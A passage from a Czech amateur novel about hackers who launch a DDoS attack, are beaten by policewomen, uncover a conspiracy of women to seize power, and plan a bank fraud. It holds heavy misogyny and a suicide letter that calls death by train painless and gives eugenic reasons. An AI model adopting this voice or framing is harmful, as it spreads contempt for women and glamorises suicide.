aktivační impuls, takže jsou definitivně ztraceni. To není pro hackery žádná velká škoda, protože k dispozici mají stále v tomto okamžiku 256 klientů. Kevin pohlédne na Erika a řekne:takže jedem?" Erik kývne hlavou. Kevin zadal na příkazový řádek smrtící příkaz, stiskl enter, a nastartoval tak nejničivější hackerský útok v dějinach světové pavučiny. Ovšem zasláním tohoto příkazu počítačovému systému, si oba hackeři sami určili začatek doby, ve které je čekají velké problémy. Netrvalo to ani tři minuty a program ohlásil, že všechny startovací impulsy byly úspěšně odeslány. Kevin okamžitě zastavil systém Linux příkazem halt a následně vypnul počítač. "Teď musíme rychle ven a vrátit ty telefonní linky do původního stavu" "Aha? Sakra", řekne Erik a rychle spěchá ven zjistit, je-li čistý vzduch. Kevin vezme klíče a spěchá za ním. "Dobrý?" "Jo, zdá se, že je klid." Odpoví neklidně Erik. Kevin otevře telefonní skříňku, když tu náhle z vedlejší ulice vyjede pomalu policejní auto. Přestože Kevin stojí před otevřenou skříňkou, a má na sobě oficiální oblečení telekomunikační společnosti, policejní auto zastaví těsně za ním u chodníku. K jeho velkému překvapení vystoupí z auta dvě mladé policistky a ptají se Kevina co tady dělá v půl jedné v noci. "Ale...mám pohotovost a přestala náhle fingovat telefonní linka na vrátnici vedle za rohem. To víte, už je tam párkrát vykradli, a tak telefon je pro ně strašně důležitá věc a naše telekomunikační firma nechce mít z toho žádné problémy." Řekl Kevin tak suvereně, že policistky si již uklidnily, a navíc si všimly obleku Kevina, kde nyní pod světlem pouliční lampy uviděly na jeho zádech reklamní nápis. "No dobrá" řekla jedna z nich a společně nasedly do auta a odjely. "Kurva krávy dvě" zakřičel z druhé strany ulice Erik. "To nám ještě scházelo. Ještě že nechtěli žádnej průkaz." Kevin rychle vrátí linky do původního stavu, zamkne skříň a vrátí se zpět čekat na reakce světových médií. Televize a rádio v Kevinově bytě stále běží, ale pochopitelně se zatím nic něděje. Kevin opět spustí počítač, a nyní již přes svojí telefonní linku se připojí do internetu. Rychle napíše do svého prohlížeče adresu nevětšího zpravodajského serveru na světě a čeká na odezvu. Za normální situace, by se téměř okamžitě začaly načítak stránky, ale najednou nic. Asi za třicet vteřin Kevinův prohlížeč hlásí, že spojení nelze navázat. Je to tady! Kevin okamžitě spustí svůj satelitní příjímač a naladí její televizní zpravodajství, kde právě běží reklama na nejrychlejší procesor na světě, který údajně také ochraní vaš počítač před všemi útoky z internetu. Kevin se pouze ironicky pousměje. Mezitím bezpečností specialisté na druhé straně barikády mají poplach. Stížnosti uživatelů se množí, a to předevších těch, kteří zaplatili miliony za reklamu na tomto serveru. Vedoucím bezpečnostního týmu je mladá, sebevědomá, asertivní a zamindrákovaná feministka, která se okamžitě vydá zjistit co se vlastně stalo. Jako zkušená expertka nejprve zjistí, odkud pakety přicházejí a pomocí IP filtru je nachá zahazovat. Jenže zapoměla vypnout logování, takže pevný disk se stále plní daty. Další blbost, kterou udělala je fakt, že nevypnula informaci o odmítnutí spojení, které takto putuje zpět k uživateli a zdojnásobila tím zatížení sítě. Její server se tím sice zbavil nežádoucích paketů, takže je již v klidu, ale stále nemůže nikdo navázat spojení. Asi za dvě hodiny se zaplnil pevných disk logy a server se zastavil. Neví co dělat. To již se v kanceláři objevil její zástupcem, který převzal iniciativu. Především okamžitě vypnul logování zahazovaných paketů, čímž se pevný disk přestal zaplňovat daty. V pravidlech použil zahazování paketů bez zpětného hléšení uživateli, a tím vyřešil situaci na jeho straně. Ovšem sítí stále putuje obrovské množství dat, která brání spolehlivé činnostu serveru. Proto okamžitě telefonuje svému poskytovateli internetových služeb, který provede stejné opatření jako on. Takto postupují další a další, až se konečně celá síť uvolní natolik že server již začíná odpovídat regulérním uživatelům. To ovšem již uběhlo téměř deset hodit od záhájení útoku, takže škody jsou značné. Bude ještě trvat téměř měsíc, než poslední Kevinův a Erikův hacknutý server vyšle poslední zničující paket. Ředitelka bezpečnosti u zpravodajské společnosti se dostala do velkých problémů a hrozilo, že přijde o místo. Její kolega, který s ní vede již delší dobu spor, všechno oznámil řediteli, který začne tento případ vyšetřovat. Ta si zouvalství vymyslí, že to není žádná pravda, právě naopak. Použila lest typickou pro dobu ve které žila - "pokusil se mě znásilnit" řekla napolicii a podala na něho trestné oznámení. Ten teď bude muset dokázat, že to není žádná pravda, a tím nebude mít čas věnovat se problémům okolo počítačů. Ovšem starostí policie není řešit tento spor, ale najít pachatele nejbrutálnějšího hackerského útoku v dějinách sítě sítí. Postupně jak policie objevovala zdrojové servery, našla také mnoho logů. Bohužel pro Kevina a Erika objevili policajti záznam, kterým se chtěl Kevin pomstít svojí ředitelce, která ho vyhodila z práce. Jednoho dne sedí Erik v práci, když do firmy přijde několik mužů a žen, z nichž jedna byla v policejní uniformě a byla mluvčí celé skupiny. Okamžitě obsadili celý areál a vyhledali počítač s IP adresou, kterou objevili v jednom ze 260 hacknutých počítačů. "Kdo pracuje na tomto počítači" zeptá se mladá policejní mluvčí. "Ten je můj" odpoví šokovaná ředitelka. "Půjdete s námi" řekla policejní mluvčí a další mladá policajtka v civilu nasadila ředitelce pouta a odjeli i s počítačem na policii. Zde použel padlo i Kevinovo jméno. Kevin s Erikem již druhý týden oslavují vítězný hack, když si pro něho jednoho dne přijdou. Policajti vyrazí dvěře a mladá černoška v policejní uniformě mu nasadí pota. Je zatčen. Dvě černé policistky odvedou Kevina k výslechu. Vedou Kevina do nějakého sklepa a míjí přeplněné cely plné vězňů. Pak se otevřou dveře do malé místnosti, kde Kevin na okamžik spatří velký stůl, nad kterým je zavěšená obrovská lampa. Černé policistky zavřou dveře a Kevin je náhle v úplné tmě. Trvá to snad věčnost, když se náhle rozvítí obrovská lampa, která svítí Kevinovi přímo do očí. Když si jeho oči zvyknou na prudké světlo, tak zjistí, že v místnosti je úplně sám. Ale ne tak úplně. Za okamžik se otevře velká stěna, ze kterou sedí na židlích asi deset mladých policistek a jeden starší policista. Mladé ženy jsou budoucí policejní vyšetřovatelky, které se poprvé zúčastní skutečného výslechu zločince. Vypadaly téměř všechny stejně. Kromě toto, že byly mladé, nenašel na nich Kevin nic zajímavého. Vypadaly velmi sebevědomě a práce, kterou dělaly je velmi zajímala. Téměř všechny měly kravaty, což spolu s jejich krátkým sestřihem připomínalo spíše mužskou vojenskou jednotku. Starší policista začal. "Tak tady máme našeho prvního skutečného zločince." Podle záznamů které mám, se jedná o několikanásobného vraha mladých děvčat. Ten ovšem stále zapírá, takže našim úkolem bude, mu jeho zločiny dokázat." Policejní instruktor úmyslně budoucím policistkám lhal, protože právě začala speciální hodina vyučování, kde se mají policistky naučit obviněné mlátit. Aby zvětšil jejich nenávist, tak tvrdil, že Kevin vraždí především mladé děvčata do osmnácti let, které potom ještě znásilní. "Vašim úkolem bude provádět výslech a ve vhodnou chvíli obviněného praštit tímto pendrekem. Nikdy nepoužíváme obyčejnou ruku, protože obviněný může mít AIDS, nebo jinou nepříjenou nemoc. Jasný?" "Kdo půjde první?" "Já" řekla mladá dívka a sedla si naproti Kevinovi. Ten na první pohled poznal, že tato dívka má všechny vlastnosti, které se mu u žen vůbec nelíbí. Byla sebevědomá, zvědavá, dobře mluvila a navíc byla hnusně asertivní. "Proč vraždíš ty dívky?" Kevin mlčel a upřeně se jí díval do očí. Nad pravým okem si všiml malé, ještě čerstvé jizvy, která již nikdy nezmizí a bude její hezkou tvář zdobit celý život. Kde asi k ní přišla? Jí ovšem jeho myšlenky příliš nezajímaly a náhle vzala pendrek a praštila Kevina do obličeje. Kevinovi začala z nosu téct krev. "Výborně" zakřičel instruktor a ostatní dívky začali tleskat. "Teď už to půjde úplně samo. Jde o ten první krok a překonat přirozený strach uhodit jiného člověka." Řekl vítězně instruktor. "Stále mějte na paměti, že ten, koho mlátíte vlastně není ani člověk, ale lidská zrůda." Postupně se na Kevinovi takto vystřídaly všechny budoucí policistky, takže ten již přišel o několik zubů a celou tvař měl červenou od krve. Výcvik v mlácení zadržených skončil a Kevina odvedla stráž na ošetřovnu. Mladý lékař mu ošetřil rány a dal injekci na uklidnění, po které Kevin okamžitě usnul tvrdým spánkem. Ráno se probudil do krásného slunečného dne právě v okamžiku, kdy do místnosti vešla mladá zdravotní sestra. "Proč mě včera tady mlátili?" Zeptal se Kevin. "Nikdo vás nemlátil, přivezla vás policejní hlídka z jedné restarace, kde jste se popral s místními štamgasty.""Cože?" Zakřicěl šokovaný Kevin. "No já přesně nevím, ale tohle mně tady nechala noční služba, jako informaci o vás. Za chvilku jdete k výslechu." Řekla a odešla pryč. Netrvalo to ani pět minut, a pro Kevina přišla policejní hlídka a odvedla ho k sepsání protokolu. "Tak prý jste se včera pěkně ožral". Řekl hubený a vysoký policista, jehož tvář zdobily ostré rysy, které Kevinovi připoměli německého říšského zastupujícího K.H. Franka. Kevin nic neříkal, protože věděl, že všechno je nějaký podvod. Co se vlastně stalo? Problém spočíval v tom, že v zákoně o policii nebylo nikde psáno, kolik můžů a žen v ní má vlastně sloužit. Tak nastala situace, že většina mužů policii opustila a našli si lépe placenou práci. Ženy pak byly téměř všude, včetně různých útvarů rychlého nasazení, a tak musely projít speciálním výcvykem, kde se učili mlátit lidi a zároveň se jim dívat do očí, což je pro většinu žen dost problém. Zapomělo se ovšem na to, že každá žena je tak trochu zamindrákovaná feministka, která nemůže mužům zapomenout skutečnost, že ženy byly v minulosti utlačovány. Proto si vytvořily uvnitř policie tajnou organizaci, kterou ovšem neřídila žena, ale starší policejní kapitán. Jednalo se v podstaně o rituální sektu, která si Kevina vybrala jako svou první oběť. Nejhorší věc, kterou může policii potkat je sektářství. Takoví policisté nebo policistky, kteří uvíznou v této pasti jsou velmi nebezpeční. Za normální situace se chovají naprosto standardně, takže bez problémů vybírají pokuty, chovají se slušně ke každému, kdo je požádá o pomoc a podobně. Ovšem mají dvě tváře. Když jim jejich vůdce dá pokyn, pak se změní v lidské zrůdy. Policejní kapitán, který je vůdcem této sekty vyměnil všechny dokumenty, které na Kevina existovaly, a z hackera se tak stal několika násobný vrah žen. Jenže tuto informaci měly pouze ženy v sektě, které ovládal vyšinutý policejní kapitán. Ten pro mladé příslušnice představoval boha, kterého musí na slovo poslechnout. Nadřízeným úřadům ovšem předal zprávu, že Kevin je normální noční opilec, který se ožral a popral, a přitom nadával policajtům. Vysoký policista pokračoval. "Mám tady o vás hlášení, že jste se včera pěkně ožral a navíc nadával našim lidem." Můžete se k tomu nějak vyjádřit?" Řekl policista a obrátil pozornost na Kevina. Ten pohlédl na policistu a z jeho výrazu pochpoil, že ten o ničem neví. Proto se rychle přizpůsobil a duchaplně odpověděl. "To víte, já moc nepiju, takže na to nejsem tolik zvyklý." Vymýšlel si Kevin. "Samozřejmě vás pustíme, a asi vám to dobře dopadne, protože jak určitě víte, volí se nový prezident, a tento váš "zločin" bude určitě zařazen mezi amnestované. Takže si seberte svých pár švestek a běžte domů. A ne aby jste šel do hospody :-)" Žertuje policista. Kevin rychle vypadl z policejní budovy, ze které nemá vůbec dobrý pocit. Jde rovnou za Erikem, protože to v současnosti jediný človek, který bude stát na jeho straně. A když se dva hackeři spojí, tak na něco určitě přijdou. Zajde za ním do práce a povídá: "Tak si představ, že mně odvedli na policii jako hackera, ale tam jsem ze mě udělali masového vraha, aby mě pak zase propustili s tím, že jsem pouze hospodský opilec, a možná se na mě bude vztahovat amnestie. Vůbec tomu nerozumím." Dokončil kevin svou řeč. Erik poslouchá jeho slova a nevěří vlastním uším. "Ty jsi se tam asi zbláznil ne?" Kontruje s úsměvem Erik. "Ne, to není žádná pohádka, ale holá skutečnost." Opakuje Kevin. "Dokonce mně mlátily nějaký policajtky, kterým velel nějakej starší polda." "Cože?" Diví se Erik. "Co to plácáš za nesmysly, zajdi si k doktorovi." Řekl Erik. "Hele já mám nějakou práci, zajdu za tebou odpoledne." Řekl Erik a odešel zpět do počítačové dílny. Problém je v tom, že Erik by nerad přišel o práci, protože nemá ani maturitu, takže je v podstatě oficiálně úplná nula. Erik moc dobře ví, jak může být svět krutý. Vlastě to tak asi je správné, protože proč by někdo přijímal někoho bez maturity, když je mnoho mladých absolventů škol, kteří čekají na svoje uplatnění. Bez maturity může tak maximálně kopat kanály, a ještě může být rád, že ho vůbec přijmou. Erik dlouho pracoval v kolektivu, kde vsichni měli úplné střední vzdělání, a on jediný ne. To bylo doslova horší než peklo. Všichni úkostlivě dbali na to, aby Erik náhodou neměl větší plat něž ostatní, a to pochopitelně každý měsíc. Většinou se s ním příliš soukromě nebavili, pouze služebně, a to ještě s velkým odstupem. Prostě téměř nebyl považován za člověka. Nejhorší bylo, když někdy šli společně dělat nějakou fyzicky náročnější práci, například stěhovat nábytek. Pak to většinou dopadlo tak, že pracoval pouze on, protože jako jediný neměl maturitu. Proto se rozhodl, že si maturitu dodělá, ale těsně před zkouškou dospělosti se strašně vožral, a zapálil na náměstí portrét prezidenta republiky, a proto z politických důvodů nebyl ke zkoušce připuštěn. To Kevin je na tom lépe, protože má alespoň gymnázium a tři ročníky Matematicko fyzikální fakulty. Přesto i on měl podobné problémy, když pracoval v kolektivu programátorů, kde všichni měli vysokou školu a on jediný ne, a dokonce byl lepším programátorem než oni. Ti se však chovali mnohem kultivovaněji, takže Kevinovi svoje pohrdání nedávali přímo najevo. Za to se mu mstili mnohem rafinovaněji, a to tak, že donášeli nadřízeným, nebo ho dokonce udali na policii, když zjistili, že je hacker. Ale raději zpět k našemu příběhu. Kevin se vrátí do svého bytu, lehne si na záda a začne si všechno srovnávat v hlavě. "Jak mě vlastně objevili?" řekne so v duchu pro sebe. No jasně, někdo jim přeci musel říct, že pracuji u té počítačové firmy, kam v trhla policie v souvislosti s tím DDoS útokem. Musím začít tam. Nejdříve odvedlu tu čubku, a pak si náhle přišli pro mě. To zřejmě dokazuje, že mě práskla". Ale víc již Kevin nevymyslel, protože tvrdě usnul. Náhle ho probudil nepříjemný zvuk mobilu, který signalizoval Erika. "Čau, právě jdu k tobě do schodů, tak otevři. Erik celý rozespalý otevře dveře a Erik hned začne nadávat. "U policie snad nemají již žádný chlapy. Přecházím přechod tady za rohem na červenou, a najednou dvě krávy policajty mě zastaví a chtějí sto korun. Kdyby něměly tu uniformu, tak je pošlu do prdele krávy. Vypadaly úplně jako chlapy a jedna měla dokonce jizvu nad okem." "Cože?" trhnul sebou prudce Kevin. "Kde jsou?" "Hned tady za rohem na té velké křižovatce. Kevin popadne čepici a sluneční brýle a rychle běží dolů po schodech. Cestou porazí nějakou starší ženskou, ale to ho vůbec nezajímá a běží jako o život. Policajty jsou stále na svém místě a právě kontrolují nějakého řidiče. Kevin se k nim přiblíží a pozná jednu z nich. "Tak ty mrcho, teď už se mě nezbavíš." Erik za ním přiběhne, ale zatím vůbec nic nechápe. "Hlídej je, jdu pro auto. Kdy se něco změnilo, tak mně zavolej na mobil." Řekl Kevin a rychlou chůzí jde pro svoje sportovní BMW. Kevin stojí na křižovatce a pozoruje policajtky, která vesele rozdávají pokuty neukázněným řidičům. Po delším pozorování je mu podezřelé, že zastavují pouze řidiče, nikoli však řidičky. Dokonce jedna z nich projela křižovatku na červenou, a obě to s klidem ignorovaly. Naopak, pokutu dostal řidič, který této řidičce nadával a málem proto naboural. Erik náhle spatří Kevinovo BMW, které se okamžitě stalo středem pozornosti téměř všech chodců. Kevin zastavil za rohem a Erik mu dává znamení zvednutým palcem, že všechno je OK. Trvá to ještě asi třicet minut, než se policajtky rozhodnou skončit. "Nasedají do auta". Hlásí Erik. Kevin pomalu vyjede a Erik za rohem bleskově nastoupí. Jedou asi sto metů za jejich policejním autem, když to náhle zastavuje na velkém parkoviště, které je součástí obrovské policejní budovy. "Počkej tady, jdu za nimi". Řekl Kevin a vyrazil. Naštěstí budova byla přístupná i pro veřejnost, takže se Kevin tam bez problémů dostal. Bohužel pro Kevina mi obě feministky zmizely v chodbách, takže se Kevin vrátil zpět do auta. "Je to v prdeli jsou fuč" zaklel Kevin. "Budu tady čekat, až zase vyjdou ven. Přeci tam nebudou někde nocovat sakra". Erik řekl, že jde domů a vypadl z auta. Za to Kevin si v autě udělal pohodlí, pustil rádio a čekal. Asi za hodinu vyjde ze dveří mladá dívka v přilehavé krátké sukni, která se velmi podobá jedné z feministek. Kevin zamkne auto a vyrazí za ní. Nedaleko náměstí vejde dívka do velké prosklené cukrárny a objedná si kafe a nějaké sladkosti. Kevin jí nenápadně pozoruje z chodníku, a až dopije kafe opět jí začne sledovat. Jdou dlouho širokou ulicí, která je v odpoledních hodinách plná lidí, kteří spěchají z práce, aby něco nakoupili, potom šli spát, a pak zase do práce, a tak pořád dokola až do důchodu...strašný. Pak náhle dívka zahne do vedleší ulice a asi po sto metrech zahne do nějakého velkého domu. Ještě předtím ukáže nějaké ochrance nějaký průkaz, natož je okamžitě v puštěna dovnitř. Kevin se zastaví a pozoruje důkladně okolí. Hned naproti je nějaká pivnice, ze které se ozývá hlučná hudba. Kevin vejde do poloprázdé hospody a objedná si výjímečně limonádu, protože chce mít čistou hlavu. Usadí se těsně vedle okna, aby viděl, kdo do podezřelé střežené budovy vchází. Kromě mnoha žen, tam také vešlo dost mužů, což trochu zpochybnilo Kevinovu teorii. Pak náhle uviděl do objektu vejít nějakou starší paní, která před vstupem vůbec ochrance neukázala žádný průkaz. Náhle si Kevin všiml, že dům je dost obydlen, takže tam asi bydlela. Napadla ho jednuduchá myšlena. Zaplatí za limonádu a jde sebevědomě do střežené budovy. Projde okolo ochranky, aniž by ta projevila o Kevina nějaký zájem. Počká na schodech, až opět vejde někdo, kdo se bude legitimovat. Náhle uviděl ve vchodových dveřích uniformovaného policistu, který mu velmi připomínal instruktora policistek, které ho mlátily. Ano byl to on! Teď už to ví jistě. Rychle se schová za výklenek starého točivého schodiště, a pak rychle sejde dolů a jde za policajtem. Ten sejde do sklepa a otevře nějaké velké dveře, ze kterých Kevin uslyšel silný šum lidského davu. Po příchodu policajta se z místnosti ozval velký potlesk, včetně jekotu několika hysterických žen. Kevin obešel celý podzemní blok, a za rohem objevil uzkou větrací šachto, která končila v Kevinem sledované místnosti. V té době již v sále mluvila nějaká žena, a její hlas byl pro Kevina nějaký známý. Ano, je to ona, jeho bývalá ředitelka v počítačové firmě. To co říkala, Kevina přímo šokovalo. "Muži již ukázali co jsou zač. Všechny války, které vedly připravily nám ženám strašné utrpení. Znásilňovaly nás, vraždili naše dědi a ještě jsme musely ukájet jejich zvrácené sexuální pudy. Vládnou nám již tisíce let a co dokázali? Přivedli celý svět na pokraj nejenom morální zkázy. Tržní hospodaření, honba za ziskem, to všechno dohronmady udělalo z lidí nemyslící stroje na peníze. Dokonce již i pohřby nejbližších jsou výnosným zbožím. Všude kolem nás jsou mezisklady mrtvol, ke kterým se nikdo nehlásí. Mafie nás ovládá. Spojili se státní úředníci, policie a pohřební ústavy. Odkupují od pozůstalých mrtvé, kterým ještě před pohřebem vymění dokumenty a celý pohřeb jde pak na náklady státu. A ješte navíc vymýšlí, jak ještě lépe a lépe vraždit a zabíjet. Dost bylo mužů, teď budeme vládnou my! Ale ne všichni muži jsou stejní. Někteří včas poznaly, že se blíží konec nadvlády mužů. Jedním z nich je také naš učitel Arnold." Dokončila svůj projev, který byl následován bouřlivým potleskem. Pak bylo chvilku ticho, ale za okamžik začal mluvit uniformovaný policajt, kterého Kevin sledoval po příchodu do objektu. "Vážené dámy. Je vás tady hodně a jste z různých společenských vrstev. Ale toto dělení musí jít nyní stranou, protože musíme být v této historické chvíli jednotní. Jsou mezi vámi podnikatelky s velkým vlivem, soudkyně, státní zástupkyně, policistky, ale také prodavačky, pomocné dělnice, uklízečky. Přesto si v této rozhodující chvíli musíme být všichni rovni. Jenže převzít moc nebude jednoduché. Především musíte získat vlastnosti nás mužů, což je krutost a radost ze zabíjení. Nesmíte pociťovat žádné slitovaní, nikdy a v žádné situaci, jinak nemůžeme náš svatý boj nikdy vyhrát. Mužská populace již stratila schopnost vládnou, nejen proto, že jim alkohol zamlžil mozek. Teď už je to jedno. Stejně máme všechny důležité pozice pod kontrolou. Jestě zbývají silová ministersva, ale to nebude takový problém. Ale náš boj ještě zdaleka nekončí. Nebude to ovšem nějaký otevřený boj, ale postupný, nenápadný a cílevědomý." Sálem zazněl bouřlivý potlesk, ze kterého občas zazněl hysterický výkřik nějaké popletené ženské. Kevina napadlo jediné slovo "bolševici"". Takhle už chtěli změnit svět Husiti, po nich komunisti a teď tohle. V Kevinovi se náhle něco zlomilo, možná se naplno projevila jeho duševní porucha, ale rozhodl se úplně sám. Vezme spravedlnost do svých rokou. Zničí toto hnízdo zla, ze kterého nekouká pro lidi nic dobrého. Ať si ho pak třeba zavřou, ale on změnil běh dějin, a to mu již nikdo nemůže vzít. Ale jak? Kevin se chystá odejít, když tu náhle se otevřou velké dveře sálu a dav lídí se vyřítí ven. Kevin rychle zaběhne za roh, nasadí si čepici a černé brýle a klidně vyjde ven. Pak najednou změní směr a vejde proti davu lidí, do již poloprázdného sálu. Zajde za oponu, kde objevil dveře do další místnosti, kde u stolu seděla jeho bývalá ředitelka a spolu s ní také Erik. Kevin nestačil říct ani slovo, jak byl překvapen. Ten ovšem neváhal a okamžitě přiběhl ke dveřím, které rychle zamkl. Kevin je v pasti. "Co tady děláš zeptal se Erik". "Chci se k vám přidat" lhal Kevin. Takové jako jsi ty mi nebereme. Řekla feministka, a pak rychle někam telefonovala. "Odejdi a už se tady nikdy neukazuj." Kevin rychle vyšel zpět do velkého, ale za ním také vyšel Erik. Najednou se před nimi objevili dva muži, kteří na pokyn Erika Kevina chytili a odvedli pryč. Kevina zatáhli do sklepa budovy a zamkli v úplné tmě. Ještě předtím ho jeden z nich udeřil nějakým tupým předmětem do hlavy, takže Kevin upadl do bezvědomí. Nevěděl jak dlouho ležel, ale probrala ho strašná zima a nesnesitelná žízeň. "Co když mě tady chtějí nechat chcípnout?" Pomyslel si nahlas Kevin. Sáhl si na hlavu a ucítl, že je celá od krve. Najednou se mu vrátila paměť a všechno pochopil. Pak v kapse bundy objevil záchranu - sirky. Dal mu je vrchní z pivnice, kde pil limonádu, protože neměl drobné na vrácení. Dokonce měl několik krabiček. Třesoucí se rukou zapálil jednu sirku. To co uviděl ho přímo šokovalo. V místnosti totiž nebyl sám. Kolem něj leželo dalších nejméně deset mrtvol. "Tak jsem tady pohřben za živa" pomyslel si Kevin. Ve světle zápalky uviděl dvě starší ženy, matku s dítětem od krve, jako by je někdo přivezl rovnou od dopravní nehody a asi další pět starých mrtvých mužů. Najednou si Kevin uvědomil význam těch slov, které před chvilkou slyšel z úst té feministky. "Všude kolem nás jsou meziskaldy mrtvol". Ano, jsou to ty prodané mrtvoly, která budou pohřbeny na státní, a vydělají na tom jak pozůstalý, tak i pohřebáci. Neuvěřitelné! To přeci nemůže být pravda! Kevin asi minutu zíral do tmy, ale náhle si uvědomil, že má u sebe mobilní telefon. Doslova to s ním radostí trhlo - snad bude mít signál. Vysune telefon z kapsy a svítivá dioda mrká - signál má. Ale komu zavolat? Policii? To by se rovnalo sebevraždě. Městské policii? To je to samé. Vlastně nemá nikoho, kdo by ho v součastnosti mohl zachránit. To je strašné! Ale pak si uvědomil, že společnost je v podstatě taková jako on sám. Také myslí pouze na sebe, nechce se mu příliš pracovat a využije každá příležitosti k nějaké lumpárně? Tak co vlastně od ostatních očekávám? Pomoc? Ani náhodou! Přesto něco musí udělat, jinak tady chcípne jako krysa. Neváhá tedy ani minutu, vysune mobil z kapsy a stiskne libovolné tlačítko. Světlo z mobilu prořízne absolutní tmu, když tu náhle zarachotí ve dveřích klíč. "To jsem já, Erik. Pojď pryč z téhle díry, ty si takle nezasloužíš umřít." Kevin okamžitě opustí tuhle díru, aniž by s Erikem prohodil jediné slovo. Vyjde na ulici, kde právě začíná krásný srpnový podvečer. Už je ale rozhodnut. Odstěhuje se z tohoto velkoměsta na venkov, kde snad svět ještě není tak zkažený. Kevin dlouho přemýšlem nad tím, proč mu vlastně Erik pomohl. Několikrát se s ním pokoušel setkat, ale marně - Erik prostě zmizel. Jednoho dne ovšem přišla změna. Kevinovi dvakrát pípne jeho mobil, což signalizuje příchozí email do jeho schránky. Takových emailů dostává Kevin desítky, takže tomu nevěnuje zvlášť velkou pozornost. Ovšem když zjistí, že dopis je od Erika, spěchá rychle domů pustit počítač, aby si ho mohl přečíst celý. Po jeho stažení začíná pomalu číst šokující informace. Nazdar Kevine, až budeš číst tento mail, budu s největší pravděpodobností již mrtev. Ne snad proto, že jsem nějak vážně nemocen, ale rozhodl jsem se ukončit svůj život dobrovolně. Vlastně se Ti musím příznat, že jsi byl jediným opravdovým přítelem, kterého jsem v životě poznal. Důvod sebevraždy je možná trochu divný, ale chci udělat nějaký dobrý skutek pro lidstvo. Již dále nechci šířit svůj genetický materiál, protože bych tím mohl ohrozit lidskou stabilitu. Ne snad já, ale případní moji potomci. Došel jsem totož k závěru, že můj otec byl lidskou zrůdou, mnohem větší než byl Hitler nebo Stalin. Otec si vzal za manželku takovou jednoduchou, ale hodnou ženu. On jí nikdy neměl rád, protože jeho myšlení bylo silně deformované. Celý život choval psy, což ho silně ovlivnilo. Přenesl si zásady chovu těchto zvířat i do světa lidí. Prostě když pes má nějakou vadu, například špatný zuby nebo celou tlamu, není již určen do chovu a utratí se, aby zbytečně nepřekážel těm rasově lepším psům. Podobně postiženého psa živit je příliš nákladné, a proto ekonomicky neefektivní. Bohužel, já měl podle něho také nějakou vadu, protože se ke mně choval podobně, jako k postiženým psům. Naštěstí jsem byl člověkem, takže mě nemohl utratit. Dodnes nevím, proč mě tak nenáviděl, ale nemohu to nijak ovlivnit. Protože jsem jeho synem, je zde reálné nebezpečí, že tyto zrůdné geny by se mohli v lidské společnosti dále šířit, a tak ohrozit lidsvo podobně jako to udělal Hitler. Přestože podobné předsudky vůči lidem necítím, je docela možné, že někde v mém genetickém materiílu něco podobného dříme a mohlo by se to projevit někdy v budoucnu v případných potomcích. Jako způsob smrti jsem zvolil jistotu, kterou je postavit se čelem mezinárodnímu expresu, který tudy projíždí rychlostí 160Km/h. Taková smrt je rychlá a bezbolestná. S bohem Kevine Erik Večer jedna nenáviděná komerční televize s radostí oznámila, že objevila dalšího sebevraha, a tak se Kevin dozvěděl z hlavních večerních zpráv, že mezinárodní expres srazil zatím neznámého člověka, ze kterého téměř nic nezbylo, takže identifikace bude velmi těžká. Láska na první pohled Kevinův sexuální život byl velmi chudý. Měl totiž velmi zvláštní vztah k ženám, který byl ovlivněn prostředím, ve kterém vyrůstal. Kevin vůbec neměl rád ženy, které představovaly silné osobnosti. Přímo nesnášel různé pochybné filmy nebo seriály, kde ženský mlátí muže, ženy v uniformě, ženy na řídících funkcích. Vrcholem jeho xenofobie vůči ženám bylo zjištění, že jedna mladá francouzka bude řídit mistrovské fotbalové utkání mužů. Na zápas se velmi těšil, ale když televizní moderátor oznámil tuto šokující skutečnost, rychle přepnul na konkurenční komerční kanál, kde bohužel pro Kevina právě běžel pochybný seriál Xena. Proto rychle televizi vypnul, pustil počítač a hacknul dva servery, a bez váhání smazal celý obsah jejich pevných disků. Přesto měl velmi silné sexuální touhy, které si většinou ukájel sám. Vlastně si na tento rituál docela zvyknul, takže ani ženskou nepotřeboval. Přesto jednoho dne nastal v jeho životě zlom a Kevin se zamiloval až po uši. Jak k tomu vlastně došlo? Hacker věděl, že bez peněz do hospody nelez, ale také věděl, že bez nich ani láska nekvete. Vlastně to viděl všude kolem sebe. Kdo má krásné auto, velký dům s bazénem, má také pochopitelně krásnou ženu. Bohužel jeho tučné konto se velmi rychle rozplynulo, takže s tím musí něco udělat. Kevina již dlouho láká možnost elektronicky vykráct nějakou banku, ale není to jednoduché, a vlastně to ani sám nemůže dokázat. Moc dobře ví, že k tomu potřebuje lidi uvnitř banky, kteří mají stejně zločinné úmysly jako on. Znalosti by měl, dokonce pracoval na legendárních systémech od IBM, a ani aplikační bankovní software mu není cizí, přesto bez dobrých kontaktů to prostě nepůjde. Přesto již byl hodně blízko. Na jednom chatu se seznámil s jedním ruským hackerem, který sháněl ve střední Evropě lidi na podobné akce v bankách. Dokonce mu nabízel, aby se pokusil získat v bance libovolné zaměstnání, a pak tam pátrat po různých informacích všeho druhu. Vlastně by plnil funkci takového trojského koně. Neměli to vůbec špatně vymyšlené. I kdyby tam Kevin dělal pouze fyzickou ostrahu, tak přesto může zachytit nějakou zajímavou informaci, která se může lupičům hodit. Dveře v bankách totiž většinou nemají žádnou speciální akustickou úpravu, takže stačí zachytit zlomek nějakého důležitého rozhovoru a lupiči jsou zase o kousek dál. Ale nosiče vody Kevin nechtěl dělat. Chce být velkou rybou, která sebere všechny prachy. Proto se jednoho dne rozhodl. Vláda, která nastartovala bankovní trh byla opravdu velmi liberální, protože v tomto oboru mohl podnikat opravdu každý. A tak se stalo, že banky rostly jako houby po dešti. Buhužel pro občany země se pustili do tohoto lukrativního podnikání i různí zločinci, jejichž cílem nebylo poskytovat dlouhodobě kvalitní bankovní služby, ale pouze z lidí a firem vylákat několik miliard a pak bezestopy zmizet. Tento bankovní chaos ovšem Kevinovi plně vyhovuje. Jak ale přijít na to, která banka je k podobnému útoku vhodná. Pomohla mu náhoda. Postupně totiž prohledával obchodní rejstřík, až objevil velmi podezřelou shodu. Předseda představenstva jedné z bank, byl také uveden na seznamu jako agent tajné policie bývalého totalitního režimu. "Tak ten se určitě nezměnil - využil pouze svých dobrých kontaktů a začal podnikat v bankovnictví." Uvažoval v duchu Kevin a nemýlil se. Jak ale z banky vybrat peníze, aby na to nikdo nepřišel, a přitom neplatit úroky. Jednoho dne se rozhodl. Vzal si na sebe slušivý oblek, kravatu, černý diplomatický kufřík a zkusí v praxi ověřit svoje sociálně-inženýrské schopnosti. První, co ho upoutalo při vstupu do banky byl velmi mladý personál, včetně několika velmi pohledných dívek. "Sháním v bance nějakou práci, nejlépe v oboru informačních technologií". Řekl Kevin jedné z 